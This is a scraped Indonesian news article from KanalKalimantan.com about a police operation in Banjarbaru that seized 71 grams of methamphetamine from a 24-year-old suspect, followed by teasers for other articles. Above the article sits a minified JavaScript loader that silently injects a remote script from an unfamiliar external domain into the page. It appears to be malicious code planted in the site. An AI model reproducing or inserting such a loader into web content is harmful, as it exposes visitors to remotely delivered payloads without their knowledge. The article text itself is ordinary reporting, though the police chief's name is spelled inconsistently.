(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Saat personil gabungan Polsek Banjarbaru Timur melaksanakan Operasi Sikat Intan 2019 sekitar pukul 03.00 Wita di Jalan Jambangan, Kelurahan Cempaka, Kecamatan Cempaka, Banjarbaru, petugas melihat salah seorang pengendara membuang bungkusan plastik hitam ke semak-semak, Rabu (22/5).
Melihat hal tersebut petugas langsung mengejar pelaku dan meminta memungut barang yang dibuangnya. Saat dibuka, bungkusan plastik hitam tersebut ditemukan narkoba jenis sabu sebanyak 14 paket. Masing-masing bungkusan seberat 5,06 gram dengan total berat 71 gram.
Kapolsek Banjarbaru Timur AKP Debi Triyono membenarkan adanya penangkapan tersebut. “Pelaku inisial HW (24), 71 gram sabu kami sita dari pelaku”, ucap Debi Triyani.
Selain itu pihak ini kami masih melakukan penyelidikan lebih lanjut dan pelaku HW dalam pemeriksaan penyidik guna proses hukum. “Kami jerat dengan Pasal 114 ayat (2) sub pasal 112 ayat (2) UU RI No. 35 Tahun 2019 tentang Narkotika dengan ancaman hukuman paling lama 20 Tahun penjara”, tegas AKP Deby Triyani. (rico)
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
This website uses cookies.